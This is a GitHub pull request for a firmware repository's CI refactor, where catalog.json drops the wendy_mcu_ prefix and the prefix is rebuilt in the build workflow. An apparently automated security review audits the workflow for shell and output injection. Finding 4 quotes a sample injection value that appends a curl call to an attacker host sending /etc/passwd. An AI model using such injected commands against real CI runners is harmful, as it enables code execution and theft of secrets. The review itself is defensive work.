catalog.json v2: drop wendy_mcu_ prefix, reconstruct it in CI - #31
Conversation
AI Security Review
catalog.json (dropping the wendy_mcu_ prefix from binary names and renaming the board key to board_cfg) while reconstructing the prefix inline inside the CI workflow. The changes are largely cosmetic/organisational and introduce no new secrets, authentication logic, network endpoints, or data-handling code. However, several medium-to-low security concerns are present: the GitHub Actions workflow passes JQ-derived values directly into shell commands without quoting, creating potential command-injection vectors if catalog.json were tampered with; the esp_hosted dependency is now range-pinned rather than latest, which slightly reduces automatic patch uptake; and the GCS publish loop remains a sequential shell construct that relies on externally-sourced data. No PCI DSS, HIPAA, or GDPR-specific data flows are present in this diff. |
| Severity | Standards | File | Line(s) | Title |
|---|---|---|---|---|
| HIGH | SOC2-CC8, ISO27001-A.8, NIST-SI-10 | .github/workflows/build.yml |
~176–184 | Unquoted shell expansion of JQ output enables command injection |
| MEDIUM | SOC2-CC8, ISO27001-A.8, NIST-SI-10 | .github/workflows/build.yml |
~24 | JQ-constructed matrix injected into GITHUB_OUTPUT without sanitisation |
| MEDIUM | SOC2-CC9, ISO27001-A.8, NIST-SC-18 | main/idf_component.yml |
~12 | Dependency range pin delays security patches for esp_hosted |
| MEDIUM | SOC2-CC8, NIST-AC-3 | .github/workflows/build.yml |
~51–53 | Unquoted matrix.target and matrix.flash_size passed to esptool.py |
| LOW | SOC2-CC7, ISO27001-A.12 | .github/workflows/build.yml |
~85, 107 | Hardcoded prefix string (wendy_mcu_) duplicated across workflow; no integrity check on catalog.json |
| LOW | SOC2-CC8, ISO27001-A.8 | catalog.json |
~1 | Breaking schema version bump lacks explicit migration/rollback documentation in-file |
| INFORMATIONAL | NIST-SI-3 | .github/workflows/build.yml |
~176 | publisher binary sourced from RUNNER_TEMP; provenance not verified in this diff |
3. Detailed Findings
FINDING 1 — HIGH: Unquoted shell expansion of JQ output enables command injection
Standards: SOC2-CC8, ISO27001-A.8 (Secure Coding), NIST SI-10 (Input Validation)
Description:
In the publish job, jq -r '.binaries[].name' output is used directly inside an unquoted for loop variable substitution in bash. If catalog.json were modified (e.g., via a compromised dependency, a malicious PR, or a supply-chain attack on the repository), a crafted name value containing shell metacharacters (spaces, semicolons, backticks, $(…)) would be executed on the runner with the permissions of the workflow — which at this point has already obtained a GCS access token.
# Vulnerable pattern — lines ~176–184
for variant in $(jq -r '.binaries[].name' catalog.json); do
bin="wendy_mcu_${variant}/wendy_mcu_${variant}.bin"
echo "Publishing ${variant} v${VERSION} from ${bin}"
"$RUNNER_TEMP/publisher" \Risk amplification: At this stage in the workflow a live GCS TOKEN is present in the environment. Arbitrary code execution here could exfiltrate the token, overwrite GCS objects, or pivot to other Google Cloud resources.
Remediation:
- Switch from word-split
$(…)to awhile readloop to prevent word-splitting and glob expansion:while IFS= read -r variant; do bin="wendy_mcu_${variant}/wendy_mcu_${variant}.bin" … done < <(jq -r '.binaries[].name' catalog.json)
- Validate
variantagainst an allowlist regex before use:[[ "$variant" =~ ^[a-z0-9_]+$ ]] || { echo "Invalid variant: $variant"; exit 1; }
- Consider signing
catalog.json(e.g., withcosignor a SHA-256 checksum committed separately) and verifying the signature before parsing it in CI.
FINDING 2 — MEDIUM: JQ-constructed matrix injected into GITHUB_OUTPUT without sanitisation
Standards: SOC2-CC8, ISO27001-A.8, NIST SI-10
Description:
The gen step constructs the GitHub Actions matrix by mapping .binaries through jq and writing the result directly to GITHUB_OUTPUT. The asset_name field is formed by string concatenation of "wendy_mcu_" and .name. If .name contains a newline, %0a, or %0d character it can break out of the GITHUB_OUTPUT format and inject arbitrary output variables (the classic "GitHub Actions output injection" attack vector).
echo "matrix=$(jq -c '{include: (.binaries | map(. + {asset_name: ("wendy_mcu_" + .name)}))}' catalog.json)" >> "$GITHUB_OUTPUT"Remediation:
- Validate all
namevalues incatalog.jsonare restricted to[a-z0-9_]before the matrix is generated. - Use a dedicated step to write multi-line-safe output:
This isolates the value from the key even if the JSON contains newlines.
{ echo "matrix<<EOF_MATRIX" jq -c '…' catalog.json echo "EOF_MATRIX" } >> "$GITHUB_OUTPUT" - Add a
catalog.jsonschema-validation step (e.g.,ajvorpython-jsonschema) that runs beforegenand rejects entries with non-alphanumeric names.
FINDING 3 — MEDIUM: Dependency range pin delays security patches for esp_hosted
Standards: SOC2-CC9 (Third-party risk), ISO27001-A.8 (Vulnerability Management), NIST SC-18
Description:
The previous wildcard "*" for espressif/esp_hosted has been replaced with ">=2.0,<3.0". While pinning to a known-good major version is better than a wildcard in terms of stability, it means security fixes released in 3.x (even if they backport to 2.x) may be missed unless the team actively monitors the upstream changelog. The comment references a migration doc but there is no automated mechanism (e.g., Dependabot, Renovate) to flag when a 2.x patch is released.
# esp_hosted 3.0 restructured its BT Kconfig (breaking change); stay on 2.x
version: ">=2.0,<3.0"Remediation:
- Enable Dependabot or Renovate for
idf_component.ymlto receive automated PRs when new2.xpatch releases appear. - Document the expected timeline for migrating to
3.xin a tracked issue. - Consider tightening the pin to
">=2.0,<2.999"(effectively the same) and adding a workflow step that alerts if the installed version is outside the expected range.
FINDING 4 — MEDIUM: Unquoted matrix.target and matrix.flash_size passed to esptool.py
Standards: SOC2-CC8, ISO27001-A.8, NIST SI-10, NIST AC-3
Description:
The esptool.py invocation uses ${{ matrix.target }} and ${{ matrix.flash_size }} directly in a run: shell block without quoting or validation. These values come from catalog.json via the matrix. A tampered catalog.json with a crafted target or flash_size such as esp32c5; curl http://attacker.com/$(cat /etc/passwd) would achieve shell injection on the build runner.
esptool.py --chip ${{ matrix.target }} merge_bin \
-o ${{ matrix.asset_name }}.bin \
--flash_mode dio \
--flash_size ${{ matrix.flash_size }} \
@flash_argsRemediation:
- Quote all matrix variable expansions:
esptool.py --chip "${{ matrix.target }}" merge_bin \ -o "${{ matrix.asset_name }}.bin" \ --flash_mode dio \ --flash_size "${{ matrix.flash_size }}" \ @flash_args
- Apply the same schema-validation step recommended in Finding 2 to ensure
targetmatches^esp32[a-z0-9]+$andflash_sizematches^\d+MB$.
Note: In GitHub Actions
run:steps,${{ matrix.X }}is substituted before the shell sees the command, so quoting alone is not a complete defence — input validation at the matrix-generation stage is the primary control.
FINDING 5 — LOW: Hardcoded prefix string duplicated; no integrity check on catalog.json
Standards: SOC2-CC7, SOC2-CC8, ISO27001-A.12
Description:
The string wendy_mcu_ now appears in at least four separate locations in build.yml (matrix generation, nightly gh-release step, release files step, publish loop). This creates a maintenance risk: a future refactor that changes the prefix in one place but not others will silently produce mismatched artifact names, potentially causing a release to omit binaries with no CI failure.
Additionally, catalog.json is read multiple times across jobs without any hash or signature verification, so its integrity between the catalog job and downstream jobs depends entirely on GitHub's artifact and checkout mechanisms.
Remediation:
- Define the prefix as a top-level workflow environment variable or as a field in
catalog.jsonitself (e.g.,"artifact_prefix": "wendy_mcu_"), then reference it from a single location. - In the
catalogjob, compute and outputsha256sum catalog.json, and in each downstream job re-verify the checksum before parsing.
FINDING 6 — LOW: Breaking schema version bump lacks in-file migration guidance
Standards: SOC2-CC8 (Change Management), ISO27001-A.8
Description:
catalog.json version has been bumped from 1 to 2. Any consumer of this file that reads the name field or the former board key without checking version will silently break (wrong artifact names, missing board lookup). There is no $schema, no changelog entry within the file, and no backward-compatibility shim.
Remediation:
- Add a
"schema_url"or"$schema"pointer to a JSON Schema document that consumers can validate against. - Ensure all known consumers (including
wendy os installtooling referenced in CI comments) perform aversioncheck and emit a clear error for unsupported versions. - Tag the repository with a
catalog-v2marker and document the breaking changes inCHANGELOG.md.
FINDING 7 — INFORMATIONAL: publisher binary sourced from RUNNER_TEMP; provenance not verified in this diff
Standards: NIST SI-3, SOC2-CC9
Description:
The publish job invokes "$RUNNER_TEMP/publisher" — a pre-downloaded binary. This diff does not show how publisher is fetched, verified, or cached. If a prior step downloads it over HTTP, without checksum/signature verification, or from a mutable URL, the binary could be substituted by an attacker with access to the download source.
"$RUNNER_TEMP/publisher" \Remediation:
- Ensure the step that downloads
publisher(not shown in this diff) pins to an immutable URL or Git tag and verifies a SHA-256 digest. - Consider using
cosignorslsa-verifierto verify a provenance attestation for the binary.
4. Compliance Summary
| Framework | Checked | Violations Found |
|---|---|---|
| SOC 2 (CC6, CC7, CC8, CC9, A1, C1) | ✅ | Yes — CC8 (injection risk in CI), CC9 (dependency pinning) |
| ISO/IEC 27001:2022 (A.8, A.9, A.12) | ✅ | Yes — A.8 (secure coding / input validation), A.12 (no integrity check on catalog.json) |
| PCI DSS v4.0 | ⚪ Not applicable — no payment data flows present in diff | — |
| GDPR / Privacy | ✅ | No violations — no PII collected, processed, or logged |
| HIPAA | ⚪ Not applicable — no health/medical data present in diff | — |
| NIST SP 800-53 / CSF 2.0 (AC, AU, IA, SC, SI) | ✅ | Yes — SI-10 (input validation), SC-18 (mobile code / dependency provenance) |
Overall risk posture: The diff is a low-complexity refactoring with no direct credential exposure or data-handling changes. The primary residual risk is supply-chain injection through catalog.json — if that file were tampered with (e.g., via a compromised branch, a malicious PR merged without review, or a compromised contributor account), the unquoted/unsanitised shell expansions could result in arbitrary code execution on a runner that holds live GCS credentials. Addressing Findings 1–4 would substantially reduce that attack surface.
… in CI catalog.json (bumped to v2) now stores unprefixed chip names and renames `board` to `board_cfg`. Update build.yml to use board_cfg and to re-derive the wendy_mcu_ prefix for build artifacts, release assets, and GCS publish paths so the final output names are unchanged. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
d5803fb to
b1c32f7
Compare
Summary
catalog.jsonbumped to v2:binaries[].nameno longer carries thewendy_mcu_prefix,boardrenamed toboard_cfg, and a newtargetsarray adds chip display names..github/workflows/build.ymlupdated to useboard_cfgand to re-derive thewendy_mcu_prefix (asmatrix.asset_name) for build artifacts, release assets, and GCS publish paths, so output filenames/publish keys are unchanged.Test plan
buildjob and confirms artifacts are still namedwendy_mcu_<chip>nightly/release/publishjobs produce identical asset names as before🤖 Generated with Claude Code